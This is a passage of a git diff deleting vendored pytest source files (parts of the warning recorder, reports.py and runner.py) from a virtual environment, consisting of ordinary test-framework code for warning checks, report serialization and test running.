warnings.WarningMessage) -> bool: - assert self.expected_warning is not None - return issubclass(warning.category, self.expected_warning) and bool( - self.match_expr is None or re.search(self.match_expr, str(warning.message)) - ) - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - super().__exit__(exc_type, exc_val, exc_tb) - - __tracebackhide__ = True - - # BaseExceptions like pytest.{skip,fail,xfail,exit} or Ctrl-C within - # pytest.warns should *not* trigger "DID NOT WARN" and get suppressed - # when the warning doesn't happen. Control-flow exceptions should always - # propagate. - if exc_val is not None and ( - not isinstance(exc_val, Exception) - # Exit is an Exception, not a BaseException, for some reason. - or isinstance(exc_val, Exit) - ): - return - - def found_str() -> str: - return pformat([record.message for record in self], indent=2) - - try: - if not any(issubclass(w.category, self.expected_warning) for w in self): - fail( - f"DID NOT WARN. No warnings of type {self.expected_warning} were emitted.\n" - f" Emitted warnings: {found_str()}." - ) - elif not any(self.matches(w) for w in self): - escape_hint = "" - if isinstance(self.match_expr, str) and any( - self.match_expr == str(w.message) - for w in self - if issubclass(w.category, self.expected_warning) - ): - escape_hint = "\n Did you mean to `re.escape()` the regex?" - fail( - f"Regex pattern did not match any of the {len(self)} warnings emitted.\n" - f" Regex: {self.match_expr!r}\n" - f" Emitted warnings: {found_str()}.{escape_hint}" - ) - finally: - # Whether or not any warnings matched, we want to re-emit all unmatched warnings. - for w in self: - if not self.matches(w): - warnings.warn_explicit( - message=w.message, - category=w.category, - filename=w.filename, - lineno=w.lineno, - module=w.__module__, - source=w.source, - ) - - # Currently in Python it is possible to pass other types than an - # `str` message when creating `Warning` instances, however this - # causes an exception when :func:`warnings.filterwarnings` is used - # to filter those warnings. See - # https://github.com/python/cpython/issues/103577 for a discussion. - # While this can be considered a bug in CPython, we put guards in - # pytest as the error message produced without this check in place - # is confusing (#10865). - for w in self: - if type(w.message) is not UserWarning: - # If the warning was of an incorrect type then `warnings.warn()` - # creates a UserWarning. Any other warning must have been specified - # explicitly. - continue - if not w.message.args: - # UserWarning() without arguments must have been specified explicitly. - continue - msg = w.message.args[0] - if isinstance(msg, str): - continue - # It's possible that UserWarning was explicitly specified, and - # its first argument was not a string. But that case can't be - # distinguished from an invalid type. - raise TypeError( - f"Warning must be str or Warning, got {msg!r} (type {type(msg).__name__})" - ) diff --git a/venv/Lib/site-packages/_pytest/reports.py b/venv/Lib/site-packages/_pytest/reports.py deleted file mode 100644 index 011a69db00155c507a344280927a0787daf39fe8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/reports.py +++ /dev/null @@ -1,694 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -from collections.abc import Iterable -from collections.abc import Iterator -from collections.abc import Mapping -from collections.abc import Sequence -import dataclasses -from io import StringIO -import os -from pprint import pprint -import sys -from typing import Any -from typing import cast -from typing import final -from typing import Literal -from typing import NoReturn -from typing import TYPE_CHECKING - -from _pytest._code.code import ExceptionChainRepr -from _pytest._code.code import ExceptionInfo -from _pytest._code.code import ExceptionRepr -from _pytest._code.code import ReprEntry -from _pytest._code.code import ReprEntryNative -from _pytest._code.code import ReprExceptionInfo -from _pytest._code.code import ReprFileLocation -from _pytest._code.code import ReprFuncArgs -from _pytest._code.code import ReprLocals -from _pytest._code.code import ReprTraceback -from _pytest._code.code import TerminalRepr -from _pytest._io import TerminalWriter -from _pytest.config import Config -from _pytest.nodes import Collector -from _pytest.nodes import Item -from _pytest.outcomes import fail -from _pytest.outcomes import skip - - -if sys.version_info < (3, 11): - from exceptiongroup import BaseExceptionGroup - - -if TYPE_CHECKING: - from typing_extensions import Self - - from _pytest.runner import CallInfo - - -def getworkerinfoline(node): - try: - return node._workerinfocache - except AttributeError: - d = node.workerinfo - ver = "{}.{}.{}".format(*d["version_info"][:3]) - node._workerinfocache = s = "[{}] {} -- Python {} {}".format( - d["id"], d["sysplatform"], ver, d["executable"] - ) - return s - - -class BaseReport: - when: str | None - location: tuple[str, int | None, str] | None - longrepr: ( - None | ExceptionInfo[BaseException] | tuple[str, int, str] | str | TerminalRepr - ) - sections: list[tuple[str, str]] - nodeid: str - outcome: Literal["passed", "failed", "skipped"] - - def __init__(self, **kw: Any) -> None: - self.__dict__.update(kw) - - if TYPE_CHECKING: - # Can have arbitrary fields given to __init__(). - def __getattr__(self, key: str) -> Any: ... - - def toterminal(self, out: TerminalWriter) -> None: - if hasattr(self, "node"): - worker_info = getworkerinfoline(self.node) - if worker_info: - out.line(worker_info) - - longrepr = self.longrepr - if longrepr is None: - return - - if hasattr(longrepr, "toterminal"): - longrepr_terminal = cast(TerminalRepr, longrepr) - longrepr_terminal.toterminal(out) - else: - try: - s = str(longrepr) - except UnicodeEncodeError: - s = "" - out.line(s) - - def get_sections(self, prefix: str) -> Iterator[tuple[str, str]]: - for name, content in self.sections: - if name.startswith(prefix): - yield prefix, content - - @property - def longreprtext(self) -> str: - """Read-only property that returns the full string representation of - ``longrepr``. - - .. versionadded:: 3.0 - """ - file = StringIO() - tw = TerminalWriter(file) - tw.hasmarkup = False - self.toterminal(tw) - exc = file.getvalue() - return exc.strip() - - @property - def caplog(self) -> str: - """Return captured log lines, if log capturing is enabled. - - .. versionadded:: 3.5 - """ - return "\n".join( - content for (prefix, content) in self.get_sections("Captured log") - ) - - @property - def capstdout(self) -> str: - """Return captured text from stdout, if capturing is enabled. - - .. versionadded:: 3.0 - """ - return "".join( - content for (prefix, content) in self.get_sections("Captured stdout") - ) - - @property - def capstderr(self) -> str: - """Return captured text from stderr, if capturing is enabled. - - .. versionadded:: 3.0 - """ - return "".join( - content for (prefix, content) in self.get_sections("Captured stderr") - ) - - @property - def passed(self) -> bool: - """Whether the outcome is passed.""" - return self.outcome == "passed" - - @property - def failed(self) -> bool: - """Whether the outcome is failed.""" - return self.outcome == "failed" - - @property - def skipped(self) -> bool: - """Whether the outcome is skipped.""" - return self.outcome == "skipped" - - @property - def fspath(self) -> str: - """The path portion of the reported node, as a string.""" - return self.nodeid.split("::")[0] - - @property - def count_towards_summary(self) -> bool: - """**Experimental** Whether this report should be counted towards the - totals shown at the end of the test session: "1 passed, 1 failure, etc". - - .. note:: - - This function is considered **experimental**, so beware that it is subject to changes - even in patch releases. - """ - return True - - @property - def head_line(self) -> str | None: - """**Experimental** The head line shown with longrepr output for this - report, more commonly during traceback representation during - failures:: - - ________ Test.foo ________ - - - In the example above, the head_line is "Test.foo". - - .. note:: - - This function is considered **experimental**, so beware that it is subject to changes - even in patch releases. - """ - if self.location is not None: - _fspath, _lineno, domain = self.location - return domain - return None - - def _get_verbose_word_with_markup( - self, config: Config, default_markup: Mapping[str, bool] - ) -> tuple[str, Mapping[str, bool]]: - _category, _short, verbose = config.hook.pytest_report_teststatus( - report=self, config=config - ) - - if isinstance(verbose, str): - return verbose, default_markup - - if isinstance(verbose, Sequence) and len(verbose) == 2: - word, markup = verbose - if isinstance(word, str) and isinstance(markup, Mapping): - return word, markup - - fail( # pragma: no cover - "pytest_report_teststatus() hook (from a plugin) returned " - f"an invalid verbose value: {verbose!r}.\nExpected either a string " - "or a tuple of (word, markup)." - ) - - def _to_json(self) -> dict[str, Any]: - """Return the contents of this report as a dict of builtin entries, - suitable for serialization. - - This was originally the serialize_report() function from xdist (ca03269). - - Experimental method. - """ - return _report_to_json(self) - - @classmethod - def _from_json(cls, reportdict: dict[str, object]) -> Self: - """Create either a TestReport or CollectReport, depending on the calling class. - - It is the callers responsibility to know which class to pass here. - - This was originally the serialize_report() function from xdist (ca03269). - - Experimental method. - """ - kwargs = _report_kwargs_from_json(reportdict) - return cls(**kwargs) - - -def _report_unserialization_failure( - type_name: str, report_class: type[BaseReport], reportdict -) -> NoReturn: - url = "https://github.com/pytest-dev/pytest/issues" - stream = StringIO() - pprint("-" * 100, stream=stream) - pprint(f"INTERNALERROR: Unknown entry type returned: {type_name}", stream=stream) - pprint(f"report_name: {report_class}", stream=stream) - pprint(reportdict, stream=stream) - pprint(f"Please report this bug at {url}", stream=stream) - pprint("-" * 100, stream=stream) - raise RuntimeError(stream.getvalue()) - - -def _format_failed_longrepr( - item: Item, call: CallInfo[None], excinfo: ExceptionInfo[BaseException] -): - if call.when == "call": - longrepr = item.repr_failure(excinfo) - else: - # Exception in setup or teardown. - longrepr = item._repr_failure_py( - excinfo, style=item.config.getoption("tbstyle", "auto") - ) - return longrepr - - -def _format_exception_group_all_skipped_longrepr( - item: Item, - excinfo: ExceptionInfo[BaseExceptionGroup[BaseException | BaseExceptionGroup]], -) -> tuple[str, int, str]: - r = excinfo._getreprcrash() - assert r is not None, ( - "There should always be a traceback entry for skipping a test." - ) - if all( - getattr(skip, "_use_item_location", False) for skip in excinfo.value.exceptions - ): - path, line = item.reportinfo()[:2] - assert line is not None - loc = (os.fspath(path), line + 1) - default_msg = "skipped" - else: - loc = (str(r.path), r.lineno) - default_msg = r.message - - # Get all unique skip messages. - msgs: list[str] = [] - for exception in excinfo.value.exceptions: - m = getattr(exception, "msg", None) or ( - exception.args[0] if exception.args else None - ) - if m and m not in msgs: - msgs.append(m) - - reason = "; ".join(msgs) if msgs else default_msg - longrepr = (*loc, reason) - return longrepr - - -class TestReport(BaseReport): - """Basic test report object (also used for setup and teardown calls if - they fail). - - Reports can contain arbitrary extra attributes. - """ - - __test__ = False - - # Defined by skipping plugin. - # xfail reason if xfailed, otherwise not defined. Use hasattr to distinguish. - wasxfail: str - - def __init__( - self, - nodeid: str, - location: tuple[str, int | None, str], - keywords: Mapping[str, Any], - outcome: Literal["passed", "failed", "skipped"], - longrepr: None - | ExceptionInfo[BaseException] - | tuple[str, int, str] - | str - | TerminalRepr, - when: Literal["setup", "call", "teardown"], - sections: Iterable[tuple[str, str]] = (), - duration: float = 0, - start: float = 0, - stop: float = 0, - user_properties: Iterable[tuple[str, object]] | None = None, - **extra, - ) -> None: - #: Normalized collection nodeid. - self.nodeid = nodeid - - #: A (filesystempath, lineno, domaininfo) tuple indicating the - #: actual location of a test item - it might be different from the - #: collected one e.g. if a method is inherited from a different module. - #: The filesystempath may be relative to ``config.rootdir``. - #: The line number is 0-based. - self.location: tuple[str, int | None, str] = location - - #: A name -> value dictionary containing all keywords and - #: markers associated with a test invocation. - self.keywords: Mapping[str, Any] = keywords - - #: Test outcome, always one of "passed", "failed", "skipped". - self.outcome = outcome - - #: None or a failure representation. - self.longrepr = longrepr - - #: One of 'setup', 'call', 'teardown' to indicate runtest phase. - self.when: Literal["setup", "call", "teardown"] = when - - #: User properties is a list of tuples (name, value) that holds user - #: defined properties of the test. - self.user_properties = list(user_properties or []) - - #: Tuples of str ``(heading, content)`` with extra information - #: for the test report. Used by pytest to add text captured - #: from ``stdout``, ``stderr``, and intercepted logging events. May - #: be used by other plugins to add arbitrary information to reports. - self.sections = list(sections) - - #: Time it took to run just the test. - self.duration: float = duration - - #: The system time when the call started, in seconds since the epoch. - self.start: float = start - #: The system time when the call ended, in seconds since the epoch. - self.stop: float = stop - - self.__dict__.update(extra) - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} {self.nodeid!r} when={self.when!r} outcome={self.outcome!r}>" - - @classmethod - def from_item_and_call(cls, item: Item, call: CallInfo[None]) -> TestReport: - """Create and fill a TestReport with standard item and call info. - - :param item: The item. - :param call: The call info. - """ - when = call.when - # Remove "collect" from the Literal type -- only for collection calls. - assert when != "collect" - duration = call.duration - start = call.start - stop = call.stop - keywords = {x: 1 for x in item.keywords} - excinfo = call.excinfo - sections = [] - if not call.excinfo: - outcome: Literal["passed", "failed", "skipped"] = "passed" - longrepr: ( - None - | ExceptionInfo[BaseException] - | tuple[str, int, str] - | str - | TerminalRepr - ) = None - else: - if not isinstance(excinfo, ExceptionInfo): - outcome = "failed" - longrepr = excinfo - elif isinstance(excinfo.value, skip.Exception): - outcome = "skipped" - r = excinfo._getreprcrash() - assert r is not None, ( - "There should always be a traceback entry for skipping a test." - ) - if excinfo.value._use_item_location: - path, line = item.reportinfo()[:2] - assert line is not None - longrepr = (os.fspath(path), line + 1, r.message) - else: - longrepr = (str(r.path), r.lineno, r.message) - elif isinstance(excinfo.value, BaseExceptionGroup) and ( - excinfo.value.split(skip.Exception)[1] is None - ): - # All exceptions in the group are skip exceptions. - outcome = "skipped" - excinfo = cast( - ExceptionInfo[ - BaseExceptionGroup[BaseException | BaseExceptionGroup] - ], - excinfo, - ) - longrepr = _format_exception_group_all_skipped_longrepr(item, excinfo) - else: - outcome = "failed" - longrepr = _format_failed_longrepr(item, call, excinfo) - for rwhen, key, content in item._report_sections: - sections.append((f"Captured {key} {rwhen}", content)) - return cls( - item.nodeid, - item.location, - keywords, - outcome, - longrepr, - when, - sections, - duration, - start, - stop, - user_properties=item.user_properties, - ) - - -@final -class CollectReport(BaseReport): - """Collection report object. - - Reports can contain arbitrary extra attributes. - """ - - when = "collect" - - def __init__( - self, - nodeid: str, - outcome: Literal["passed", "failed", "skipped"], - longrepr: None - | ExceptionInfo[BaseException] - | tuple[str, int, str] - | str - | TerminalRepr, - result: list[Item | Collector] | None, - sections: Iterable[tuple[str, str]] = (), - **extra, - ) -> None: - #: Normalized collection nodeid. - self.nodeid = nodeid - - #: Test outcome, always one of "passed", "failed", "skipped". - self.outcome = outcome - - #: None or a failure representation. - self.longrepr = longrepr - - #: The collected items and collection nodes. - self.result = result or [] - - #: Tuples of str ``(heading, content)`` with extra information - #: for the test report. Used by pytest to add text captured - #: from ``stdout``, ``stderr``, and intercepted logging events. May - #: be used by other plugins to add arbitrary information to reports. - self.sections = list(sections) - - self.__dict__.update(extra) - - @property - def location( # type:ignore[override] - self, - ) -> tuple[str, int | None, str] | None: - return (self.fspath, None, self.fspath) - - def __repr__(self) -> str: - return f"" - - -class CollectErrorRepr(TerminalRepr): - def __init__(self, msg: str) -> None: - self.longrepr = msg - - def toterminal(self, out: TerminalWriter) -> None: - out.line(self.longrepr, red=True) - - -def pytest_report_to_serializable( - report: CollectReport | TestReport, -) -> dict[str, Any] | None: - if isinstance(report, TestReport | CollectReport): - data = report._to_json() - data["$report_type"] = report.__class__.__name__ - return data - # TODO: Check if this is actually reachable. - return None # type: ignore[unreachable] - - -def pytest_report_from_serializable( - data: dict[str, Any], -) -> CollectReport | TestReport | None: - if "$report_type" in data: - if data["$report_type"] == "TestReport": - return TestReport._from_json(data) - elif data["$report_type"] == "CollectReport": - return CollectReport._from_json(data) - assert False, "Unknown report_type unserialize data: {}".format( - data["$report_type"] - ) - return None - - -def _report_to_json(report: BaseReport) -> dict[str, Any]: - """Return the contents of this report as a dict of builtin entries, - suitable for serialization. - - This was originally the serialize_report() function from xdist (ca03269). - """ - - def serialize_repr_entry( - entry: ReprEntry | ReprEntryNative, - ) -> dict[str, Any]: - data = dataclasses.asdict(entry) - for key, value in data.items(): - if hasattr(value, "__dict__"): - data[key] = dataclasses.asdict(value) - entry_data = {"type": type(entry).__name__, "data": data} - return entry_data - - def serialize_repr_traceback(reprtraceback: ReprTraceback) -> dict[str, Any]: - result = dataclasses.asdict(reprtraceback) - result["reprentries"] = [ - serialize_repr_entry(x) for x in reprtraceback.reprentries - ] - return result - - def serialize_repr_crash( - reprcrash: ReprFileLocation | None, - ) -> dict[str, Any] | None: - if reprcrash is not None: - return dataclasses.asdict(reprcrash) - else: - return None - - def serialize_exception_longrepr(rep: BaseReport) -> dict[str, Any]: - assert rep.longrepr is not None - # TODO: Investigate whether the duck typing is really necessary here. - longrepr = cast(ExceptionRepr, rep.longrepr) - result: dict[str, Any] = { - "reprcrash": serialize_repr_crash(longrepr.reprcrash), - "reprtraceback": serialize_repr_traceback(longrepr.reprtraceback), - "sections": longrepr.sections, - } - if isinstance(longrepr, ExceptionChainRepr): - result["chain"] = [] - for repr_traceback, repr_crash, description in longrepr.chain: - result["chain"].append( - ( - serialize_repr_traceback(repr_traceback), - serialize_repr_crash(repr_crash), - description, - ) - ) - else: - result["chain"] = None - return result - - d = report.__dict__.copy() - if hasattr(report.longrepr, "toterminal"): - if hasattr(report.longrepr, "reprtraceback") and hasattr( - report.longrepr, "reprcrash" - ): - d["longrepr"] = serialize_exception_longrepr(report) - else: - d["longrepr"] = str(report.longrepr) - else: - d["longrepr"] = report.longrepr - for name in d: - if isinstance(d[name], os.PathLike): - d[name] = os.fspath(d[name]) - elif name == "result": - d[name] = None # for now - return d - - -def _report_kwargs_from_json(reportdict: dict[str, Any]) -> dict[str, Any]: - """Return **kwargs that can be used to construct a TestReport or - CollectReport instance. - - This was originally the serialize_report() function from xdist (ca03269). - """ - - def deserialize_repr_entry(entry_data): - data = entry_data["data"] - entry_type = entry_data["type"] - if entry_type == "ReprEntry": - reprfuncargs = None - reprfileloc = None - reprlocals = None - if data["reprfuncargs"]: - reprfuncargs = ReprFuncArgs(**data["reprfuncargs"]) - if data["reprfileloc"]: - reprfileloc = ReprFileLocation(**data["reprfileloc"]) - if data["reprlocals"]: - reprlocals = ReprLocals(data["reprlocals"]["lines"]) - - reprentry: ReprEntry | ReprEntryNative = ReprEntry( - lines=data["lines"], - reprfuncargs=reprfuncargs, - reprlocals=reprlocals, - reprfileloc=reprfileloc, - style=data["style"], - ) - elif entry_type == "ReprEntryNative": - reprentry = ReprEntryNative(data["lines"]) - else: - _report_unserialization_failure(entry_type, TestReport, reportdict) - return reprentry - - def deserialize_repr_traceback(repr_traceback_dict): - repr_traceback_dict["reprentries"] = [ - deserialize_repr_entry(x) for x in repr_traceback_dict["reprentries"] - ] - return ReprTraceback(**repr_traceback_dict) - - def deserialize_repr_crash(repr_crash_dict: dict[str, Any] | None): - if repr_crash_dict is not None: - return ReprFileLocation(**repr_crash_dict) - else: - return None - - if ( - reportdict["longrepr"] - and "reprcrash" in reportdict["longrepr"] - and "reprtraceback" in reportdict["longrepr"] - ): - reprtraceback = deserialize_repr_traceback( - reportdict["longrepr"]["reprtraceback"] - ) - reprcrash = deserialize_repr_crash(reportdict["longrepr"]["reprcrash"]) - if reportdict["longrepr"]["chain"]: - chain = [] - for repr_traceback_data, repr_crash_data, description in reportdict[ - "longrepr" - ]["chain"]: - chain.append( - ( - deserialize_repr_traceback(repr_traceback_data), - deserialize_repr_crash(repr_crash_data), - description, - ) - ) - exception_info: ExceptionChainRepr | ReprExceptionInfo = ExceptionChainRepr( - chain - ) - else: - exception_info = ReprExceptionInfo( - reprtraceback=reprtraceback, - reprcrash=reprcrash, - ) - - for section in reportdict["longrepr"]["sections"]: - exception_info.addsection(*section) - reportdict["longrepr"] = exception_info - - return reportdict diff --git a/venv/Lib/site-packages/_pytest/runner.py b/venv/Lib/site-packages/_pytest/runner.py deleted file mode 100644 index 3f03cfaff77cd66db7550d93ea375410885ecd08..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/runner.py +++ /dev/null @@ -1,593 +0,0 @@ -# mypy: allow-untyped-defs -"""Basic collect and runtest protocol implementations.""" - -from __future__ import annotations - -import bdb -from collections.abc import Callable -import dataclasses -import os -import sys -import types -from typing import cast -from typing import final -from typing import Generic -from typing import Literal -from typing import TYPE_CHECKING -from typing import TypeVar - -from .config import Config -from .reports import BaseReport -from .reports import CollectErrorRepr -from .reports import CollectReport -from .reports import TestReport -from _pytest import timing -from _pytest._code.code import ExceptionChainRepr -from _pytest._code.code import ExceptionInfo -from _pytest._code.code import TerminalRepr -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.nodes import Collector -from _pytest.nodes import Directory -from _pytest.nodes import Item -from _pytest.nodes import Node -from _pytest.outcomes import Exit -from _pytest.outcomes import OutcomeException -from _pytest.outcomes import Skipped -from _pytest.outcomes import TEST_OUTCOME - - -if sys.version_info < (3, 11): - from exceptiongroup import BaseExceptionGroup - -if TYPE_CHECKING: - from _pytest.main import Session - from _pytest.terminal import TerminalReporter - -# -# pytest plugin hooks. - - -def pytest_addoption(parser: Parser) -> None: - group = parser.getgroup("terminal reporting", "Reporting", after="general") - group.addoption( - "--durations", - action="store", - type=int, - default=None, - metavar="N", - help="Show N slowest setup/test durations (N=0 for all)", - ) - group.addoption( - "--durations-min", - action="store", - type=float, - default=None, - metavar="N", - help="Minimal duration in seconds for inclusion in slowest list. " - "Default: 0.005 (or 0.0 if -vv is given).", - ) - - -def pytest_terminal_summary(terminalreporter: TerminalReporter) -> None: - durations = terminalreporter.config.option.durations - durations_min = terminalreporter.config.option.durations_min - verbose = terminalreporter.config.get_verbosity() - if durations is None: - return - if durations_min is None: - durations_min = 0.005 if verbose < 2 else 0.0 - tr = terminalreporter - dlist = [] - for replist in tr.stats.values(): - for rep in replist: - if hasattr(rep, "duration"): - dlist.append(rep) - if not dlist: - return - dlist.sort(key=lambda x: x.duration, reverse=True) - if not durations: - tr.write_sep("=", "slowest durations") - else: - tr.write_sep("=", f"slowest {durations} durations") - dlist = dlist[:durations] - - for i, rep in enumerate(dlist): - if rep.duration < durations_min: - tr.write_line("") - message = f"({len(dlist) - i} durations < {durations_min:g}s hidden." - if terminalreporter.config.option.durations_min is None: - message += " Use -vv to show these durations." - message += ")" - tr.write_line(message) - break - tr.write_line(f"{rep.duration:02.2f}s {rep.when:<8} {rep.nodeid}") - - -def pytest_sessionstart(session: Session) -> None: - session._setupstate = SetupState() - - -def pytest_sessionfinish(session: Session) -> None: - session._setupstate.teardown_exact(None) - - -def pytest_runtest_protocol(item: Item, nextitem: Item | None) -> bool: - ihook = item.ihook - ihook.pytest_runtest_logstart(nodeid=item.nodeid, location=item.location) - runtestprotocol(item, nextitem=nextitem) - ihook.pytest_runtest_logfinish(nodeid=item.nodeid, location=item.location) - return True - - -def runtestprotocol( - item: Item, log: bool = True, nextitem: Item | None = None -) -> list[TestReport]: - hasrequest = hasattr(item, "_request") - if hasrequest and not item._request: # type: ignore[attr-defined] - # This only happens if the item is re-run, as is done by - # pytest-rerunfailures. - item._initrequest() # type: ignore[attr-defined] - try: - rep = call_and_report(item, "setup", log) - reports = [rep] - if rep.passed: - setup_only = item.config.getoption("setuponly", False) - if item.config.getoption("setupshow", False): - show_test_item(item, add_space=not setup_only) - if not setup_only: - reports.append(call_and_report(item, "call", log)) - # If the session is about to fail or stop, teardown everything - this is - # necessary to correctly report fixture teardown errors (see #11706) - if item.session.shouldfail or item.session.shouldstop: - nextitem = None - reports.append(call_and_report(item, "teardown", log, nextitem=nextitem)) - finally: - # After all teardown hooks have been called (or an exception was reraised) - # want funcargs and request info to go away. - if hasrequest: - item._request = False # type: ignore[attr-defined] - item.funcargs = None # type: ignore[attr-defined] - return reports - - -def show_test_item(item: Item, *, add_space: bool) -> None: - """Show test function, parameters and the fixtures of the test item.""" - tw = item.config.get_terminal_writer() - tw.line() - tw.write(" " * 8) - tw.write(item.nodeid) - used_fixtures = sorted(getattr(item, "fixturenames", [])) - if used_fixtures: - tw.write(f" (fixtures used: {', '.join(used_fixtures)})") - if add_space: - tw.write(" ") - tw.flush() - - -def pytest_runtest_setup(item: Item) -> None: - _update_current_test_var(item, "setup") - item.session._setupstate.setup(item) - - -def pytest_runtest_call(item: Item) -> None: - _update_current_test_var(item, "call") - try: - del sys.last_type - del sys.last_value - del sys.last_traceback - if sys.version_info >= (3, 12, 0): - del sys.last_exc # type:ignore[attr-defined] - except AttributeError: - pass - try: - item.runtest() - except Exception as e: - # Store trace info to allow postmortem debugging - sys.last_type = type(e) - sys.last_value = e - if sys.version_info >= (3, 12, 0): - sys.last_exc = e # type:ignore[attr-defined] - assert e.__traceback__ is not None - # Skip *this* frame - sys.last_traceback = e.__traceback__.tb_next - raise - - -def pytest_runtest_teardown(item: Item, nextitem: Item | None) -> None: - _update_current_test_var(item, "teardown") - item.session._setupstate.teardown_exact(nextitem) - _update_current_test_var(item, None) - - -def _update_current_test_var( - item: Item, when: Literal["setup", "call", "teardown"] | None -) -> None: - """Update :envvar:`PYTEST_CURRENT_TEST` to reflect the current item and stage. - - If ``when`` is None, delete ``PYTEST_CURRENT_TEST`` from the environment. - """ - var_name = "PYTEST_CURRENT_TEST" - if when: - value = f"{item.nodeid} ({when})" - # don't allow null bytes on environment variables (see #2644, #2957) - value = value.replace("\x00", "(null)") - os.environ[var_name] = value - else: - os.environ.pop(var_name) - - -def pytest_report_teststatus(report: BaseReport) -> tuple[str, str, str] | None: - if report.when in ("setup", "teardown"): - if report.failed: - # category, shortletter, verbose-word - return "error", "E", "ERROR" - elif report.skipped: - return "skipped", "s", "SKIPPED" - else: - return "", "", "" - return None - - -# -# Implementation - - -def call_and_report( - item: Item, when: Literal["setup", "call", "teardown"], log: bool = True, **kwds -) -> TestReport: - ihook = item.ihook - if when == "setup": - runtest_hook: Callable[..., None] = ihook.pytest_runtest_setup - elif when == "call": - runtest_hook = ihook.pytest_runtest_call - elif when == "teardown": - runtest_hook = ihook.pytest_runtest_teardown - else: - assert False, f"Unhandled runtest hook case: {when}" - - call = CallInfo.from_call( - lambda: runtest_hook(item=item, **kwds), - when=when, - reraise=get_reraise_exceptions(item.config), - ) - report: TestReport = ihook.pytest_runtest_makereport(item=item, call=call) - if log: - ihook.pytest_runtest_logreport(report=report) - if check_interactive_exception(call, report): - ihook.pytest_exception_interact(node=item, call=call, report=report) - return report - - -def get_reraise_exceptions(config: Config) -> tuple[type[BaseException], ...]: - """Return exception types that should not be suppressed in general.""" - reraise: tuple[type[BaseException], ...] = (Exit,) - if not config.getoption("usepdb", False): - reraise += (KeyboardInterrupt,) - return reraise - - -def check_interactive_exception(call: CallInfo[object], report: BaseReport) -> bool: - """Check whether the call raised an exception that should be reported as - interactive.""" - if call.excinfo is None: - # Didn't raise. - return False - if hasattr(report, "wasxfail"): - # Exception was expected. - return False - unittest = sys.modules.get("unittest") - if isinstance(call.excinfo.value, Skipped | bdb.BdbQuit) or ( - unittest is not None and isinstance(call.excinfo.value, unittest.SkipTest) - ): - # Special control flow exception. - return False - return True - - -TResult = TypeVar("TResult", covariant=True) - - -@final -@dataclasses.dataclass -class CallInfo(Generic[TResult]): - """Result/Exception info of a function invocation.""" - - _result: TResult | None - #: The captured exception of the call, if it raised. - excinfo: ExceptionInfo[BaseException] | None - #: The system time when the call started, in seconds since the epoch. - start: float - #: The system time when the call ended, in seconds since the epoch. - stop: float - #: The call duration, in seconds. - duration: float - #: The context of invocation: "collect", "setup", "call" or "teardown". - when: Literal["collect", "setup", "call", "teardown"] - - def __init__( - self, - result: TResult | None, - excinfo: ExceptionInfo[BaseException] | None, - start: float, - stop: float, - duration: float, - when: Literal["collect", "setup", "call", "teardown"], - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self._result = result - self.excinfo = excinfo - self.start = start - self.stop = stop - self.duration = duration - self.when = when - - @property - def result(self) -> TResult: - """The return value of the call, if it didn't raise. - - Can only be accessed if excinfo is None. - """ - if self.excinfo is not None: - raise AttributeError(f"{self!r} has no valid result") - # The cast is safe because an exception wasn't raised, hence - # _result has the expected function return type (which may be - # None, that's why a cast and not an assert). - return cast(TResult, self._result) - - @classmethod - def from_call( - cls, - func: Callable[[], TResult], - when: Literal["collect", "setup", "call", "teardown"], - reraise: type[BaseException] | tuple[type[BaseException], ...] | None = None, - ) -> CallInfo[TResult]: - """Call func, wrapping the result in a CallInfo. - - :param func: - The function to call. Called without arguments. - :type func: Callable[[], _pytest.runner.TResult] - :param when: - The phase in which the function is called. - :param reraise: - Exception or exceptions that shall propagate if raised by the - function, instead of being wrapped in the CallInfo. - """ - excinfo = None - instant = timing.Instant() - try: - result: TResult | None = func() - except BaseException: - excinfo = ExceptionInfo.from_current() - if reraise is not None and isinstance(excinfo.value, reraise): - raise - result = None - duration = instant.elapsed() - return cls( - start=duration.start.time, - stop=duration.stop.time, - duration=duration.seconds, - when=when, - result=result, - excinfo=excinfo, - _ispytest=True, - ) - - def __repr__(self) -> str: - if self.excinfo is None: - return f"" - return f"" - - -def pytest_runtest_makereport(item: Item, call: CallInfo[None]) -> TestReport: - return TestReport.from_item_and_call(item, call) - - -def pytest_make_collect_report(collector: Collector) -> CollectReport: - def collect() -> list[Item | Collector]: - # Before collecting, if this is a Directory, load the conftests. - # If a conftest import fails to load, it is considered a collection - # error of the Directory collector. This is why it's done inside of the - # CallInfo wrapper. - # - # Note: initial conftests are loaded early, not here. - if isinstance(collector, Directory): - collector.config.pluginmanager._loadconftestmodules( - collector.path, - collector.config.getoption("importmode"), - rootpath=collector.config.rootpath, - consider_namespace_packages=collector.config.getini( - "consider_namespace_packages" - ), - ) - - return list(collector.collect()) - - call = CallInfo.from_call( - collect, "collect", reraise=(KeyboardInterrupt, SystemExit) - ) - longrepr: None | tuple[str, int, str] | str | TerminalRepr = None - if not call.excinfo: - outcome: Literal["passed", "skipped", "failed"] = "passed" - else: - skip_exceptions = [Skipped] - unittest = sys.modules.get("unittest") - if unittest is not None: - skip_exceptions.append(unittest.SkipTest) - if isinstance(call.excinfo.value, tuple(skip_exceptions)): - outcome = "skipped" - r_ = collector._repr_failure_py(call.excinfo, "line") - assert isinstance(r_, ExceptionChainRepr), repr(r_) - r = r_.reprcrash - assert r - longrepr = (str(r.path), r.lineno, r.message) - else: - outcome = "failed" - errorinfo = collector.repr_failure(call.excinfo) - if not hasattr(errorinfo, "toterminal"): - assert isinstance(errorinfo, str) - errorinfo = CollectErrorRepr(errorinfo) - longrepr = errorinfo - result = call.result if not call.excinfo else None - rep = CollectReport(collector.nodeid, outcome, longrepr, result) - rep.call = call # type: ignore # see collect_one_node - return rep - - -class SetupState: - """Shared state for setting up/tearing down test items or collectors - in a session. - - Suppose we have a collection tree as follows: - - - - - - - - The SetupState maintains a stack. The stack starts out empty: - - [] - - During the setup phase of item1, setup(item1) is called. What it does - is: - - push session to stack, run session.setup() - push mod1 to stack, run mod1.setup() - push item1 to stack, run item1.setup() - - The stack is: - - [session, mod1, item1] - - While the stack is in this shape, it is allowed to add 